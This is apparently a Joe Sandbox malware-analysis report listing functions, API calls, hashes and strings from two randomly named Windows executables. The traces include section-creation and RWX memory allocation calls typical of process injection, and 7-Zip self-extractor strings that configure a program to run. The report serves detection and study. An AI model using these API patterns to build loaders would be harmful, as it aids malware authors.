Snapshot File: hcaresult_8_2_2e10000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 05d9d281a1c433bce65ea9a5464aedae69b2998bd44d145af81311050d83877e
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 7E526974A01229DFDB64CF58C984BACBBB1BF09314F1480E9E94DAB351DB30AA85CF14

Function 02E10E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02E10223,?,?), ref: 02E10E19
SetErrorMode.KERNELBASE(00000000,?,?,02E10223,?,?), ref: 02E10E1E

Memory Dump Source

Source File: 00000008.00000002.1706196423.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e10000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 8542446d127bdfb01e3c0bf921da1d9e01cee5e862faad54c88cd0ae9bd8b7d4
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: A4D0123114512877DB002A95DC09BCD7B1CDF05B66F008021FB0DD9080C770954046E5

Function 00401A01 Relevance: 1.3, APIs: 1, Instructions: 90
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A33

Part of subcall function 00401615: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016D5
Part of subcall function 00401615: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401702

Memory Dump Source

Source File: 00000008.00000002.1629470404.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: a2a9be82b00004be15cf4a85e345d814439cc040836b0b3e383e57413077d33c
Instruction ID: 81c5b6d8da752c85ef5c48e217346158da0f95f2e0f30d6723e854e1366495a5
Opcode Fuzzy Hash: a2a9be82b00004be15cf4a85e345d814439cc040836b0b3e383e57413077d33c
Instruction Fuzzy Hash: AE21383234E201EBDB009B90AD419BA3315AB85714F34467BF5137A1F2C63E99436F6B

Function 004019E3 Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A33

Part of subcall function 00401615: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016D5
Part of subcall function 00401615: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401702

Memory Dump Source

Source File: 00000008.00000002.1629470404.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: a19bf6b6478727a7cf19fe344aa6eb98edbd1b9355ee0bc977b84921ba6b77a5
Instruction ID: 3d34462ae554e6b9c52ec10bfc335e1d4eef14cf0cc07287d36856a9453ce069
Opcode Fuzzy Hash: a19bf6b6478727a7cf19fe344aa6eb98edbd1b9355ee0bc977b84921ba6b77a5
Instruction Fuzzy Hash: AA11E17274A205FBDB00AA949C41EBA3228AB45714F308577BA43780F1D57D8953BF6F

Function 004019EE Relevance: 1.3, APIs: 1, Instructions: 58
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A33

Part of subcall function 00401615: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016D5
Part of subcall function 00401615: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401702

Memory Dump Source

Source File: 00000008.00000002.1629470404.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: c9c058988959fe6f1bebb02f4b63465d1859dbae07441d9c99848e32b1ac1650
Instruction ID: fd11faa5c1113836d14621795cf3d83bd65fd701f71c993b701afff5049cc75c
Opcode Fuzzy Hash: c9c058988959fe6f1bebb02f4b63465d1859dbae07441d9c99848e32b1ac1650
Instruction Fuzzy Hash: 27018B3274A201EBDB009A949C42ABA3728AF45714F2045B7BA43B90F1C67D99536F2B

Function 004019FA Relevance: 1.3, APIs: 1, Instructions: 58
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A33

Part of subcall function 00401615: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016D5
Part of subcall function 00401615: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401702

Memory Dump Source

Source File: 00000008.00000002.1629470404.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e11e32dbe801df22405823e13fb522a3676c7564745947c388d06d8c8a7d4e2f
Instruction ID: 6cc9081dd0b90bd572a9145dab600ca03ca16d67528742debddf3dc55f5ee8c1
Opcode Fuzzy Hash: e11e32dbe801df22405823e13fb522a3676c7564745947c388d06d8c8a7d4e2f
Instruction Fuzzy Hash: 1A01C03274A105EBDB009A949C41EBA3328AB44710F308577BA43790F1C57D8A537F6F

Function 00401A09 Relevance: 1.3, APIs: 1, Instructions: 49
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A33

Part of subcall function 00401615: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016D5
Part of subcall function 00401615: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401702

Memory Dump Source

Source File: 00000008.00000002.1629470404.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: cf05c8cd51f06970e1e68389e54baa8339b7ac568fc1d90295f4adfe3ec01b5a
Instruction ID: 82411e1791d3a8170d7b0096784b0d07359e834b960e05cc8d1eb1f577d4cd17
Opcode Fuzzy Hash: cf05c8cd51f06970e1e68389e54baa8339b7ac568fc1d90295f4adfe3ec01b5a
Instruction Fuzzy Hash: 90018F3274A205EBDB00AAD4AC42EAA33289F45714F244577FA43B90F1C57D8A536F6B

Function 03022271 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 030222C2

Memory Dump Source

Source File: 00000008.00000002.1769205035.000000000301B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0301B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_301b000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 2d17545c7480c741774bf8625893c765457f27f6e210bbdcc533168e934df9f4
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: AA112D79A00208EFDB01DF98C985E98BFF5AF08350F058094F9489B361D771EA50DB80

Function 00401A10 Relevance: 1.3, APIs: 1, Instructions: 48
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A33

Part of subcall function 00401615: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016D5
Part of subcall function 00401615: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401702

Memory Dump Source

Source File: 00000008.00000002.1629470404.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 1ce4031546dc902cc4609c7e7de6d107d1fd440efca43239d715d6f2af8bec59
Instruction ID: 961536146c74ce18795349366bfe527767909b26be76020be6548142ac7a4a5b
Opcode Fuzzy Hash: 1ce4031546dc902cc4609c7e7de6d107d1fd440efca43239d715d6f2af8bec59
Instruction Fuzzy Hash: 47018472705209EBCB00ABD09C42EA933249B45314F644577FA12B90F2D67D89536B2B

Non-executed Functions

Function 02E1092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 02E1095F
l, xrefs: 02E10966
GetProcAddress., xrefs: 02E109DC, 02E109DF, 02E109E4

Memory Dump Source

Source File: 00000008.00000002.1706196423.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e10000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 2ed047629777728eeaeb637f375ef117cc3e645655fbc360e6dbe5639cec981f
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: C4314BB6900609DFDB10CF99C880AADBBF5FF48328F14905AD841A7214D771EA85CFA4

Function 00403406 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1629470404.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72d4be65fd5c4aadfe3181895be588e99445a0ecc216837a8ab9eea584e428f3
Instruction ID: 69ca2c5ad779ff779106a882f61feb38b2f88a99de665ab11ce56d99059bcabb
Opcode Fuzzy Hash: 72d4be65fd5c4aadfe3181895be588e99445a0ecc216837a8ab9eea584e428f3
Instruction Fuzzy Hash: 0751CDA190D6D15FE7138E3448C53D9BF29EE13B0170904AFD5C26F693D23CAA07838A

Function 004033B7 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1629470404.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2bb28b499498aeea13836d83123d56415545c74703dd59ede85a111e02f7c13
Instruction ID: aad523fcd350dd7e48cf14232ffa1e008521eb722179f4d6a6caafb65ea2e327
Opcode Fuzzy Hash: b2bb28b499498aeea13836d83123d56415545c74703dd59ede85a111e02f7c13
Instruction Fuzzy Hash: 001102B0A1C5D19ADB1B1E3004E4665BF2CAA53B5372D00BBD9827E5C2D63C6F06924F

Function 004033D2 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1629470404.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c7ece749f6430daf655d98b633fe13b947581eedef0c6cbbe75591b9315e754
Instruction ID: 352e8d253fa7b3b8dd7957dd3af29bc2fa359aa34c2ce5570c2a01e88b37b8e5
Opcode Fuzzy Hash: 6c7ece749f6430daf655d98b633fe13b947581eedef0c6cbbe75591b9315e754
Instruction Fuzzy Hash: C411BEB1A0C5D15BEB171E3044A46A6BF2CAA53B5375D00BBE9827E6C2D13C6B06924F

Function 004033E1 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1629470404.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bf7d49b2119c85336353d75583e2e826d4b6bf710ddbd45acbf88bbcfb002c7
Instruction ID: c4c69dfa6a93bac5686c789e4b09db5a6b9e324f66b4c550809259961904fcdf
Opcode Fuzzy Hash: 3bf7d49b2119c85336353d75583e2e826d4b6bf710ddbd45acbf88bbcfb002c7
Instruction Fuzzy Hash: E411EFB0A0C5D15AEB172E3444946A6BF28AE53B5775D00BBD5C27E6C2D13C2F06924E

Function 004033FB Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1629470404.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e438e8d2e72f34d8578db350d93a7b9ff8eb5d6d5bbd12f8c265cb93a87fcc14
Instruction ID: 99727d9d7cf374fe44c7d6d00e329f0fe83cdbd758af6568a24e55acb90e5523
Opcode Fuzzy Hash: e438e8d2e72f34d8578db350d93a7b9ff8eb5d6d5bbd12f8c265cb93a87fcc14
Instruction Fuzzy Hash: CD11EFB1A0C5D25AEB172E3044946A6BF2CAE53B5375D01BBD5C27E5C3D13C2F06824E

Function 03021E8F Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1769205035.000000000301B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0301B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_301b000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 9408a3756edbddf5fab31185f2123518f708a4257d10e059e155b478bf975967
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 17118E72341210AFDB48DF55DC80FA677EAFB88260B198065ED08CB716E676E802C760

Function 0040340F Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1629470404.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbca18c3eeb6f43da73f1299d217a7617a34a672b16bfca3773c378893150fbe
Instruction ID: 29b0ddcd1d63681b27311a16ac10645ed1be97e2cd38ed92f7145ca68817f7f8
Opcode Fuzzy Hash: dbca18c3eeb6f43da73f1299d217a7617a34a672b16bfca3773c378893150fbe
Instruction Fuzzy Hash: 5B012EA090C6C01AEB276F3440A829ABF28AE43B53B0D00FBD5D42E5C3D23C2E04C24E

Function 02E10D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1706196423.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e10000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 69aaf218601d9cf0a3ffaa6dce79e4c50cf731f120afa72f8221988e4c5b3f21
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: B901A276B506048FDF21CF24C805BAE33E5FB8631AF4594B5DD0A97285E774A9818B90

Analysis Process: iYU7jmLL0jPLxgjctxjq1ReZ.exePID: 7964, Parent PID: 3960COMMON

Execution Graph

Execution Coverage:	14.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	45

Executed Functions

Function 00414B04 Relevance: 6.1, APIs: 4, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00414B2A

Part of subcall function 004159F8: HeapCreate.KERNELBASE(00000000,00001000,00000000,00414B62,00000001), ref: 00415A09
Part of subcall function 004159F8: HeapDestroy.KERNEL32 ref: 00415A48

GetCommandLineA.KERNEL32 ref: 00414B8A
GetStartupInfoA.KERNEL32(?), ref: 00414BB5
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00414BD8

Part of subcall function 00414C31: ExitProcess.KERNEL32 ref: 00414C4E

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID:
API String ID: 2057626494-0
Opcode ID: e3a55e15dfbba78f576db0669a4780403b126b59620817d16bca0fbeb85d5517
Instruction ID: b13fe99396feb2249fb7197ea22bdd2eb3a8d4431b5d50e9622b99800ed9eeb5
Opcode Fuzzy Hash: e3a55e15dfbba78f576db0669a4780403b126b59620817d16bca0fbeb85d5517
Instruction Fuzzy Hash: 0721D2B0A44705AFD718AFB6DC46BEE7BB8EF44714F10052FF9009A291DB3C85808A9C

Function 004055DE Relevance: 6.1, APIs: 4, Instructions: 59
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 004055E3

Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

FindFirstFileW.KERNELBASE(?,?), ref: 00405611
AreFileApisANSI.KERNEL32(?), ref: 0040563D
FindFirstFileA.KERNEL32(?,?,00000001), ref: 0040565E

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: FileFind$First$ApisCloseH_prolog
String ID:
API String ID: 4121580741-0
Opcode ID: fcb5256250039c908afd196fb8e76c17c38080862ebf91937f58451f3d562862
Instruction ID: 53571c6d670a3437f98eaf3b47711b77fa147e423a783867877babb07b55427d
Opcode Fuzzy Hash: fcb5256250039c908afd196fb8e76c17c38080862ebf91937f58451f3d562862
Instruction Fuzzy Hash: AB21813180050ADFCF11EF60C8459EEBB75EF00329F10476AE4A5B61E1DB399A85CF48

Function 0040553A Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

FindFirstFileA.KERNELBASE(?,?,000000FF), ref: 00405559

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 4d5417fc6ca074e65557f02866c61fee52306747aaa4eef42dce5467d8724910
Instruction ID: 4d0f5172a85985fc9641596f45f8b0e99eb03685ed3a07152804d04183bf4296
Opcode Fuzzy Hash: 4d5417fc6ca074e65557f02866c61fee52306747aaa4eef42dce5467d8724910
Instruction Fuzzy Hash: 5DE0923040050876CB20BF35DC019EB776AEF11398F104276F955672E5D738D9468F98

Function 00401014 Relevance: 56.7, APIs: 12, Strings: 20, Instructions: 692
windowsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401A51: GetVersionExA.KERNEL32(?), ref: 00401A6B

GetCommandLineW.KERNEL32(00000003,00000003,00000003,00000003,?,00000000), ref: 0040108B

Part of subcall function 004038EE: __EH_prolog.LIBCMT ref: 004038F3

Part of subcall function 004045E2: __EH_prolog.LIBCMT ref: 004045E7
Part of subcall function 004045E2: GetModuleFileNameW.KERNEL32(?,?,00000105,00000003,00000000,00000000), ref: 00404618

Part of subcall function 0040235E: __EH_prolog.LIBCMT ref: 00402363

Part of subcall function 00402323: __EH_prolog.LIBCMT ref: 00402328

Part of subcall function 00403D5A: __EH_prolog.LIBCMT ref: 00403D5F

MessageBoxW.USER32(00000000,?,?,00000010), ref: 004015DF
SetCurrentDirectoryA.KERNELBASE(?,?,00000001,?,?,00000003,00000003,0042023C,;!@InstallEnd@!,?,00000003,00000000,00000002,00420274,00000003,?), ref: 0040161E
SetCurrentDirectoryA.KERNEL32(?,?,00000000), ref: 00401627
ShellExecuteExA.SHELL32(0000003C,?,00000000), ref: 004016D7
MessageBoxW.USER32(00000000,?,?,00000024), ref: 00401306

Part of subcall function 00411093: MessageBoxW.USER32(00000000,?,7-Zip,00000010), ref: 0041109C

Part of subcall function 00402F15: __EH_prolog.LIBCMT ref: 00402F1A

SetCurrentDirectoryA.KERNEL32(?,?,00000000), ref: 004018B2
CloseHandle.KERNEL32(?,?,00000000), ref: 00401940
WaitForSingleObject.KERNEL32(?,000000FF,?,00000000), ref: 00401965
CloseHandle.KERNEL32(?,?,00000000), ref: 0040196E
SetCurrentDirectoryA.KERNEL32(?,?,00000000), ref: 00401977

Strings

<, xrefs: 0040166B
D, xrefs: 00401821
Can not create temp folder archive, xrefs: 004014DC
;!@InstallEnd@!, xrefs: 00401173
Config failed, xrefs: 004011FE
Can not load codecs, xrefs: 0040152A
Can not find setup.exe, xrefs: 00401776
RunProgram, xrefs: 0040139D
Can not open file, xrefs: 004016EB
ExecuteFile, xrefs: 004013DD
%%T, xrefs: 004017CD
Title, xrefs: 00401212
setup.exe, xrefs: 00401731
, xrefs: 004016DD
%%T\, xrefs: 0040179E
ExecuteParameters, xrefs: 0040141D
> @, xrefs: 004011DC
;!@Install@!UTF-8!, xrefs: 00401178
Directory, xrefs: 004012A9
Can't load config info, xrefs: 0040118B

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog$CurrentDirectory$Message$CloseHandle$CommandExecuteFileLineModuleNameObjectShellSingleVersionWait
String ID: $%%T$%%T\$;!@Install@!UTF-8!$;!@InstallEnd@!$<$> @$Can not create temp folder archive$Can not find setup.exe$Can not load codecs$Can not open file$Can't load config info$Config failed$D$Directory$ExecuteFile$ExecuteParameters$RunProgram$Title$setup.exe
API String ID: 2760820266-829806607
Opcode ID: 712b446a7bada0dd4c96bd94ae0ede08f078cacdd1ac77361cc7282078058cc0
Instruction ID: 30a6e78c0a87ce65c61bf6c489231b06ab30573cf11c386798d37ebdc1e5dfdc
Opcode Fuzzy Hash: 712b446a7bada0dd4c96bd94ae0ede08f078cacdd1ac77361cc7282078058cc0
Instruction Fuzzy Hash: 57524971D002199ADF21EFA1DC85AEEBB75BF04318F1040BFE149761A2DB395A85CF58

Function 0040AD19 Relevance: 14.2, APIs: 9, Instructions: 682
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0040AD1E

Part of subcall function 0040D7CC: __EH_prolog.LIBCMT ref: 0040D7D1

Part of subcall function 00413310: InitializeCriticalSection.KERNEL32(?,?,?,00000000,00000000), ref: 0041333E

DeleteCriticalSection.KERNEL32(?), ref: 0040AF52
DeleteCriticalSection.KERNEL32(?), ref: 0040B1DF
DeleteCriticalSection.KERNEL32(?), ref: 0040B24A
DeleteCriticalSection.KERNEL32(?), ref: 0040B2A7
DeleteCriticalSection.KERNEL32(?), ref: 0040B3B6
DeleteCriticalSection.KERNEL32(?), ref: 0040B410
DeleteCriticalSection.KERNEL32(?,?,?,00000004,00000004), ref: 0040B485
DeleteCriticalSection.KERNEL32(?), ref: 0040B517

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: CriticalSection$Delete$H_prolog$Initialize
String ID:
API String ID: 3452124646-0
